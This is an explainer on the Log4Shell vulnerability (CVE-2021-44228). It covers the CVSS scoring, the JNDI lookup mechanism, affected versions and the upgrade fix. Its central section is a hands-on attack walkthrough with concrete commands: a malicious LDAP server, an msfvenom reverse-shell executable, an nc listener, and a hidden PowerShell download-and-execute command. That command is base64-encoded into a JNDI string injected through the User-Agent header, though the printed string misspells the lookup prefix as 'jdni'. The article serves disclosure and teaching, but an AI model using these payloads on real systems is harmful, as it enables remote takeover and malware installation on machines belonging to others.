CVE-2021-44228

On December 9, 2021, the world became aware of a new security vulnerability concerning Log4J. The CVSSv3 (Common Vulnerability Scoring System) score of the vulnerability was assessed as 10, making it critical (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).

CVSSv3

Its CVSSv3 vector is as follows: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

Let's clarify the values so that the reason for the assessment can be fully understood:

• AV:N (Attack Vector: Network) : The attack vector is the network, therefore any vulnerable device is exploitable remotely.
• AC:L (Attack Complexity: Low) : The attack complexity is low and therefore can be carried out even by an attacker with little knowledge of the vulnerability, its operation, or low skill.
• PR:N (Privileges Required: None) : No privileges within the system are required.
• UI:N (User Interaction: None) : The system is vulnerable even without any user interaction.
• S:C (Scope: Changed)
• C:H (Confidentiality: High) : The confidentiality of information within the machine is completely compromised. This leads to a total loss of data secrecy and its disclosure to the attacker.
• I:H (Integrity: High) : The integrity of information contained in the machine is completely compromised. An attacker can modify or delete any file.
• A:H (Availability: High) : The attacker is able to completely deny access to information or services of the machine.

What is Log4J?

Log4J is a Java library, now part of the Apache Software Foundation project, that allows you to monitor the state of an application.

It is the de facto standard for logging Java applications.

How does it work?

The vulnerability is based on JNDI (Java Naming and Directory Interface): a Java API that allows an application to interact with an external directory service (for example LDAP).

The interaction occurs through JNDI's lookup functionality, which, enabled in Log4J's default configuration, allows interaction with a remote server.

TCP Reverse Shell via Log4J Exploitation

Some small clarifications useful for reading:

• The IP of the attacker's machine is 10.0.0.1
• The IP of the machine vulnerable to Log4Shell is 10.0.0.2
• The operating system of the vulnerable machine is Windows with an x86 architecture
• The vulnerable machine has a web application running on port 80 and accessible at the URL http://hackme.com

❗ WARNING ❗
The attack technique described below should only be useful to understand the actual danger of the vulnerability in question. The author distances themselves from and condemns any improper use of the following article.

The objective of the following attack is to exploit Log4Shell to download and execute a reverse shell on the vulnerable system, thus gaining full control of it.

1. Attacker machine configuration

1. Let's download the repository containing the code needed to initialize a malicious LDAP server

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222

2. Let's create a TCP reverse shell for Windows using msfvenom so that we can receive remote access to the machine on port 8888

msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe

3. Let's start a listener, using nc, on port 8888 to receive the connection from the reverse shell uploaded to the vulnerable machine

nc -lvnp 8888

4. Let's run an HTTP server to allow the malware download from the target machine:

python3 -m http.server 4444

5. Using the following Powershell command, the attacker will be able to connect to their own HTTP server, download the malware into the C:\windows\temp directory, and execute it

powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")

5. Let's encode the previous payload in base64 using the following command

echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64

The result of the previous command is as follows:

cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

2. Exploit

1. Let's assume the web application logs the User-Agent of a visitor. The attacker sends a request similar to:

GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

2. The string

${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

is passed to Log4J, which interprets it and, via JNDI, makes the request to the attacker's LDAP server

ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

3. The malware is downloaded and executed.

4. The attacker obtains a shell of the machine on port 8888.

Am I vulnerable?

First of all, it is important to remember that this vulnerability affects ONLY software that uses Java or some derivative (and obviously Log4J as a logging library).

• 2.0-beta9 - 2.14.1: The versions vulnerable to Log4Shell range from 2.0-beta9 to 2.14.1.
• 2.15.0: Log4J version 2.15.0 was found vulnerable. CVE-2021-45046. Currently the vulnerability assessment is "9.0 Critical".
• 2.16.0: Log4J version 2.16.0 was found vulnerable. CVE-2021-45105. Currently the vulnerability assessment is "7.5 High".

Log4J version 1.x is not strictly vulnerable to the security flaw in question, but in addition to being deprecated in 2015, it is affected by the following vulnerability: CVE-2021-4104.

How can I fix it?

The best solution is to update Log4J to version 2.17.0.